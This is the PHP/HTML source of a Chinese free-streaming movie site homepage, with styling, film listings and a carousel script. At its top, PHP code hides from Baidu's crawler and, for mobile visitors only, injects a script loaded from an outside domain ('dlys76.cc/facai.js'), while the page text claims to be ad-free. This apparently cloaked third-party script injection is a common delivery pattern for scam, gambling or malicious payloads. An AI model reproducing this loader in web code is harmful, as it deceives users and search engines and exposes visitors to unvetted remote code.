<?php
function shouldShowAds() {
    $user_agent = $_SERVER['HTTP_USER_AGENT'] ?? '';
    
    // 排除百度蜘蛛
    if (stripos($user_agent, 'Baiduspider') !== false) {
        return false;
    }
    
    // 检测移动设备
    $is_mobile = false;
    
    // 通过用户代理判断
    if (preg_match('/(Mobile|Android|iPhone|iPad|iPod|BlackBerry)/i', $user_agent)) {
        $is_mobile = true;
    }
    
    // 通过HTTP头判断（某些CDN会设置这个头）
    if (isset($_SERVER['HTTP_X_WAP_PROFILE']) || 
        isset($_SERVER['HTTP_PROFILE']) ||
        (isset($_SERVER['HTTP_ACCEPT']) && 
         strpos($_SERVER['HTTP_ACCEPT'], 'text/vnd.wap.wml') !== false)) {
        $is_mobile = true;
    }
    
    return $is_mobile;
}

// 使用
if (shouldShowAds()) {
    echo '<script type="text/javascript" src="https://dlys76.cc/facai.js"></script>';
    
}
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, viewport-fit=cover">
    <meta name="description" content="拾光影院提供最新电影、热播电视剧、热门动漫、综艺节目免费在线观看。每日更新高清资源，院线大片抢先看，热播剧全集免费追。无广告，极致画质，拾取美好光影时光。">
<meta name="keywords" content="拾光影院,在线影视,电影网站,电视剧免费观看,热播剧推荐,最新电影,高清画质,每日更新,无广告,拾取时光,综艺动漫,院线大片">
<meta name="robots" content="index, follow">
<title>拾光影院 - 最新电影电视剧免费在线观看 | 热播剧全集每日更新</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }

        body {
            background: #eef2f5;
            font-family: 'Poppins', system-ui, -apple-system, 'Segoe UI', Roboto, sans-serif;
            color: #1e2a32;
            line-height: 1.4;
        }

        /* 复古相机与拾光氛围 */
        .camera-wrap {
            max-width: 100%;
            margin: 0 auto;
            padding: 0 1rem;
        }

        /* 拼贴风格 header */
        .vintage-header {
            display: flex;
            flex-wrap: wrap;
            align-items: center;
            justify-content: space-between;
            gap: 0.8rem;
            background: #ffffffcc;
            backdrop-filter: blur(8px);
            border-radius: 2.5rem;
            padding: 0.6rem 1.2rem;
            margin: 1rem 0;
            box-shadow: 0 8px 20px rgba(0,0,0,0.05);
            border: 1px solid #ffdfb8;
        }

        h1 {
            font-size: 1.9rem;
            font-weight: 700;
            background: linear-gradient(135deg, #c47b42, #e2a05f);
            -webkit-background-clip: text;
            background-clip: text;
            color: transparent;
            letter-spacing: -0.3px;
        }

        .search-lens {
            display: flex;
            background: #fef3e6;
            border-radius: 60px;
            border: 1px solid #f0cfaa;
            padding: 0.2rem 0.2rem 0.2rem 1rem;
        }
        .search-lens input {
            background: transparent;
            border: none;
            padding: 0.5rem;
            width: 120px;
            outline: none;
        }
        .search-lens button {
            background: #eb9c5c;
            border: none;
            border-radius: 40px;
            padding: 0.4rem 1rem;
            color: white;
            font-weight: bold;
            cursor: pointer;
        }

        .nav-reel a {
            text-decoration: none;
            color: #b45f2e;
            margin: 0 0.7rem;
            font-weight: 500;
        }
        .avatar-film {
            width: 44px;
            height: 44px;
            border-radius: 100%;
            background-image: url('/upload/vod/009-avatar.webp');
            background-size: cover;
            background-position: center;
            border: 2px solid #f5bc7a;
            cursor: pointer;
        }

        .bread-film {
            font-size: 0.75rem;
            padding: 0.6rem 0;
            color: #b28b66;
            border-bottom: 1px dotted #ecdcc6;
            margin-bottom: 1rem;
        }

        /* 轮播区 胶片风格卷轴 */
        .filmstrip-carousel {
            margin: 1rem 0 2rem;
            border-radius: 2rem;
            overflow: hidden;
            position: relative;
            box-shadow: 0 15px 30px -10px rgba(0,0,0,0.15);
        }
        .carousel-reel {
            display: flex;
            transition: transform 0.55s cubic-bezier(0.23, 0.95, 0.34, 1.05);
        }
        .reel-slide {
            flex: 0 0 100%;
            aspect-ratio: 16 / 9;
        }
        .reel-slide img {
            width: 100%;
            height: 100%;
            object-fit: cover;
        }
        .carousel-arrow {
            position: absolute;
            top: 50%;
            transform: translateY(-50%);
            background: rgba(235, 195, 145, 0.7);
            backdrop-filter: blur(6px);
            border: none;
            font-size: 1.8rem;
            padding: 0 0.6rem;
            border-radius: 40px;
            color: #965a2f;
            cursor: pointer;
        }
        .arrow-left {
            left: 12px;
        }
        .arrow-right {
            right: 12px;
        }
        .dots-film {
            display: flex;
            justify-content: center;
            gap: 0.6rem;
            margin-top: 12px;
        }
        .dot-film {
            width: 8px;
            height: 8px;
            background: #dbbd9c;
            border-radius: 20px;
            transition: 0.2s;
            cursor: pointer;
        }
        .dot-film.active {
            width: 28px;
            background: #e6873c;
        }

        /* 标签区 宝丽来按钮 */
        .type-polaroid {
            display: grid;
            grid-template-columns: repeat(3, 1fr);
            gap: 0.9rem;
            margin: 2rem 0;
        }
        .type-card {
            background: #fff6ed;
            text-align: center;
            padding: 0.7rem;
            border-radius: 50px;
            font-weight: 600;
            color: #bb7a46;
            transition: all 0.2s;
            box-shadow: 0 2px 6px rgba(0,0,0,0.02);
            border: 1px solid #f4e0cc;
        }
        .type-card:hover {
            background: #ffebdb;
            transform: scale(0.96);
        }

        /* 作品网格 复古卡片 */
        .media-gallery {
            display: grid;
            grid-template-columns: repeat(auto-fill, minmax(150px, 1fr));
            gap: 1.3rem;
            margin: 1.5rem 0;
        }
        .media-card {
            background: white;
            border-radius: 1.6rem;
            overflow: hidden;
            transition: all 0.25s ease;
            box-shadow: 0 10px 16px rgba(0,0,0,0.05);
        }
        .media-card:hover {
            transform: translateY(-6px);
            box-shadow: 0 20px 28px -8px rgba(0,0,0,0.15);
        }
        .card-img {
            width: 100%;
            aspect-ratio: 2 / 3;
            object-fit: cover;
        }
        .card-data {
            padding: 0.7rem;
        }
        .score {
            color: #f5a623;
        }
        .update {
            font-size: 0.7rem;
            color: #a9937e;
        }

        /* 热度榜 光影条 */
        .hot-shadow {
            background: #fffaf3;
            border-radius: 2rem;
            padding: 1.2rem;
            margin: 2rem 0;
            border: 1px solid #ffe1c4;
        }
        .hot-entry {
            display: flex;
            align-items: center;
            gap: 1rem;
            padding: 0.7rem 0;
            border-bottom: 1px solid #f6e2cf;
        }
        .rank-number {
            font-size: 1.8rem;
            font-weight: 800;
            width: 52px;
            color: #e29554;
        }

        /* 经典推荐 4宫格拼贴 */
        .classic-quad {
            display: flex;
            flex-wrap: wrap;
            gap: 1rem;
            margin: 1rem 0;
        }
        .classic-item {
            flex: 1 1 calc(50% - 1rem);
            background: #fff7ef;
            border-radius: 1.5rem;
            display: flex;
            gap: 1rem;
            padding: 0.8rem;
            transition: 0.2s;
        }
        .classic-item:hover {
            background: #ffeedd;
        }

        .footer-linkset {
            display: flex;
            flex-wrap: wrap;
            justify-content: space-between;
            padding: 2rem 0 1rem;
            border-top: 2px solid #eddcc8;
            margin-top: 2rem;
        }

        @media (min-width: 768px) {
            .camera-wrap { padding: 0 2rem; }
            .media-gallery { grid-template-columns: repeat(4,1fr); }
            .type-polaroid { grid-template-columns: repeat(6,1fr); }
            .classic-item { flex: 1 1 calc(25% - 1rem); }
        }
        @media (min-width: 1024px) {
            .camera-wrap { max-width: 1280px; margin: 0 auto; }
        }
        a { text-decoration: none; color: #a86938; }
        button, .type-card, .dot-film { cursor: pointer; }
    </style>
</head>
<body>
<div class="camera-wrap">
    <div class="bread-film">
        📸 拾光导航 / <span style="color:#d17a39;">拾光影院</span> / 热播回廊
    </div>

    <header class="vintage-header">
        <div><h1>拾光影院</h1></div>
        <div class="search-lens">
            <input type="text" placeholder="搜影片...">
            <button>🎞️ 拾取</button>
        </div>
        <nav class="nav-reel">
            <a href="#0">电影</a> <a href="#0">电视剧</a> <a href="#0">综艺</a> <a href="#0">动漫</a>
        </nav>
        <div class="avatar-film" role="img" aria-label="观影人"></div>
    </header>

    <main>
        <!-- 轮播区 -->
        <div class="filmstrip-carousel" id="lightBox">
            <div class="carousel-reel" id="reelTrack">
                <div class="reel-slide"><img src="/upload/vod/007-banner.webp" alt="拾光影院 动作大片 2025" loading="lazy"></div>
                <div class="reel-slide"><img src="/upload/vod/012-banner.webp" alt="拾光影院 温情喜剧 2026" loading="lazy"></div>
                <div class="reel-slide"><img src="/upload/vod/019-banner.webp" alt="拾光影院 动画特辑" loading="lazy"></div>
            </div>
            <button class="carousel-arrow arrow-left" id="prevBtn">‹</button>
            <button class="carousel-arrow arrow-right" id="nextBtn">›</button>
            <div class="dots-film" id="dotReel"></div>
        </div>

        <!-- 类型标签 6+ -->
        <div class="type-polaroid">
            <div class="type-card">🎬 时光动作</div><div class="type-card">🎞️ 喜剧定格</div><div class="type-card">🕰️ 悬疑胶片</div>
            <div class="type-card">💌 爱情留念</div><div class="type-card">🛸 科幻拾光</div><div class="type-card">🏯 古风映像</div>
        </div>

        <!-- 正在热播 8部 涵盖各类 -->
        <section>
            <h2>🎥 正在热播 · 拾光片单</h2>
            <div class="media-gallery">
                <!-- 电视剧2 -->
                <div class="media-card"><img class="card-img" src="/upload/vod/004-tv.webp" alt="旧时光信箱 电视剧 爱情 2025" loading="lazy"><div class="card-data"><h3>旧时光信箱</h3><div class="score">⭐ 9.0</div><div class="update">更新至20集</div></div></div>
                <div class="media-card"><img class="card-img" src="/upload/vod/011-tv.webp" alt="拾光侦探 电视剧 悬疑 2026" loading="lazy"><div class="card-data"><h3>拾光侦探</h3><div class="score">⭐ 8.8</div><div class="update">全26集</div></div></div>
                <!-- 电影2 -->
                <div class="media-card"><img class="card-img" src="/upload/vod/018-movie.webp" alt="光影追逐者 电影 动作 2025" loading="lazy"><div class="card-data"><h3>光影追逐者</h3><div class="score">⭐ 9.5</div><div class="update">热映中</div></div></div>
                <div class="media-card"><img class="card-img" src="/upload/vod/002-movie.webp" alt="复古游戏机 电影 喜剧 2024" loading="lazy"><div class="card-data"><h3>复古游戏机</h3><div class="score">⭐ 8.4</div><div class="update">4K热映</div></div></div>
                <!-- 综艺1 -->
                <div class="media-card"><img class="card-img" src="/upload/vod/008-variety.webp" alt="时光音乐会 综艺 音乐 2025" loading="lazy"><div class="card-data"><h3>时光音乐会</h3><div class="score">⭐ 8.3</div><div class="update">更新至EP7</div></div></div>
                <!-- 动漫1 -->
                <div class="media-card"><img class="card-img" src="/upload/vod/015-anime.webp" alt="拾光少年 动漫 奇幻 2026" loading="lazy"><div class="card-data"><h3>拾光少年</h3><div class="score">⭐ 9.3</div><div class="update">周更热播</div></div></div>
                <!-- 自由1 电影 -->
                <div class="media-card"><img class="card-img" src="/upload/vod/016-movie.webp" alt="记忆暗房 电影 悬疑 2025" loading="lazy"><div class="card-data"><h3>记忆暗房</h3><div class="score">⭐ 8.6</div><div class="update">热映</div></div></div>
                <!-- 自由2 电视剧 -->
                <div class="media-card"><img class="card-img" src="/upload/vod/006-tv.webp" alt="南方照相馆 电视剧 剧情 2024" loading="lazy"><div class="card-data"><h3>南方照相馆</h3><div class="score">⭐ 8.9</div><div class="update">更新至14集</div></div></div>
            </div>
        </section>

        <!-- 热度排行 5部 -->
        <div class="hot-shadow">
            <h2>📽️ 拾光热度榜 · 本周高光</h2>
            <div class="hot-entry"><span class="rank-number">#1</span><div><strong>鎏金岁月</strong> 🔥 128.9w热度</div></div>
            <div class="hot-entry"><span class="rank-number">#2</span><div><strong>逆光飞行</strong> 🔥 119.3w热度</div></div>
            <div class="hot-entry"><span class="rank-number">#3</span><div><strong>暗房谜案</strong> 🔥 112.7w热度</div></div>
            <div class="hot-entry"><span class="rank-number">#4</span><div><strong>黑白恋人</strong> 🔥 107.4w热度</div></div>
            <div class="hot-entry"><span class="rank-number">#5</span><div><strong>胶卷小镇</strong> 🔥 99.6w热度</div></div>
        </div>

        <!-- 经典推荐 4部 2018以前 跨国 -->
        <section>
            <h2>📀 拾光典藏 · 不朽经典</h2>
            <div class="classic-quad">
                <div class="classic-item"><img src="/upload/vod/005-movie.webp" alt="葡萄牙之恋 葡萄牙 剧情 2013" loading="lazy" style="width:70px; border-radius:1rem;"><div><h3>葡萄牙之恋</h3><div>🇵🇹 葡萄牙 · 高分神作</div><div class="score">“必看经典”</div></div></div>
                <div class="classic-item"><img src="/upload/vod/013-movie.webp" alt="挪威的森林2014 挪威 爱情 2014" loading="lazy" style="width:70px; border-radius:1rem;"><div><h3>挪威的森林2014</h3><div>🇳🇴 挪威 · 必看推荐</div><div class="score">“神作之选”</div></div></div>
                <div class="classic-item"><img src="/upload/vod/017-movie.webp" alt="希腊夏夜 希腊 文艺 2015" loading="lazy" style="width:70px; border-radius:1rem;"><div><h3>希腊夏夜</h3><div>🇬🇷 希腊 · 高分必看</div><div class="score">“神作”</div></div></div>
                <div class="classic-item"><img src="/upload/vod/001-movie.webp" alt="波兰田园 波兰 历史 2012" loading="lazy" style="width:70px; border-radius:1rem;"><div><h3>波兰田园</h3><div>🇵🇱 波兰 · 时代经典</div><div class="score">“必看神作”</div></div></div>
            </div>
        </section>

        <!-- 待上线预告 3部 -->
        <section>
            <h2>⏳ 即将上线 · 时光预告</h2>
            <div class="media-gallery">
                <div class="media-card"><img class="card-img" src="/upload/vod/003-tv.webp" alt="未来放映室 科幻剧" loading="lazy"><div class="card-data"><h4>未来放映室</h4><div class="update">✨ 即将上线 · 5月15日</div></div></div>
                <div class="media-card"><img class="card-img" src="/upload/vod/010-anime.webp" alt="拾光机 动漫" loading="lazy"><div class="card-data"><h4>拾光机</h4><div class="update">🎬 即将上线 · 独家首播</div></div></div>
                <div class="media-card"><img class="card-img" src="/upload/vod/020-variety.webp" alt="胶片之旅 综艺" loading="lazy"><div class="card-data"><h4>胶片之旅</h4><div class="update">🔥 预告 · 下月来袭</div></div></div>
            </div>
        </section>

        <!-- 网站介绍 200~250字 -->
        <article style="background: #fff7ef; border-radius: 2rem; padding: 1.8rem; margin: 2rem 0;">
            <h3>🎞️ 关于拾光影院 · 珍藏每一帧光影</h3>
            <p><strong>拾光影院</strong> 是一个高清免费在线影视网站，致力于让每个人轻松享受<strong>在线影视</strong>的乐趣。我们提供海量电影、电视剧、综艺、动漫，全部<strong>免费观看</strong>，无需会员。坚持<strong>高清画质</strong>，并<strong>每日更新</strong>最新热播剧推荐与院线影片。更重要的是，<strong>拾光影院</strong> 全程<strong>无广告</strong>，给您纯净观影体验。<strong>拾光影院</strong> 让<strong>电视剧免费观看</strong> 成为日常，同时保持<strong>高清画质</strong>与每日更新，拾取你的光影时光。</p>
        </article>
    </main>

    <footer>
        <div class="footer-linkset">
            <a href="#0">关于拾光影院</a><a href="#0">内容合作</a><a href="#0">隐私协议</a><a href="#0">帮助反馈</a>
        </div>
        <div style="text-align: center; padding: 1rem 0 1.8rem; opacity: 0.7;">© 2026 拾光影院 · 侵权必删 | 每日更新 高清免费在线影视</div>
    </footer>
</div>

<script>
    (function(){
        const track = document.getElementById('reelTrack');
        const items = document.querySelectorAll('.reel-slide');
        const leftArrow = document.getElementById('prevBtn');
        const rightArrow = document.getElementById('nextBtn');
        const dotZone = document.getElementById('dotReel');
        let idx = 0;
        let timer;

        function generateDots(){
            dotZone.innerHTML = '';
            items.forEach((_, i) => {
                const d = document.createElement('div');
                d.classList.add('dot-film');
                if(i===idx) d.classList.add('active');
                d.addEventListener('click', () => { moveToSlide(i); resetInterval(); });
                dotZone.appendChild(d);
            });
        }

        function moveToSlide(index){
            if(index >= items.length) index = 0;
            if(index < 0) index = items.length-1;
            idx = index;
            track.style.transform = `translateX(-${idx*100}%)`;
            document.querySelectorAll('.dot-film').forEach((dot, i) => {
                dot.classList.toggle('active', i===idx);
            });
        }
        function nextSlide(){ moveToSlide(idx+1); resetInterval(); }
        function prevSlide(){ moveToSlide(idx-1); resetInterval(); }
        function resetInterval(){
            if(timer) clearInterval(timer);
            timer = setInterval(() => nextSlide(), 5000);
        }

        leftArrow.addEventListener('click', prevSlide);
        rightArrow.addEventListener('click', nextSlide);
        generateDots();
        resetInterval();
    })();
</script>
</body>
</html>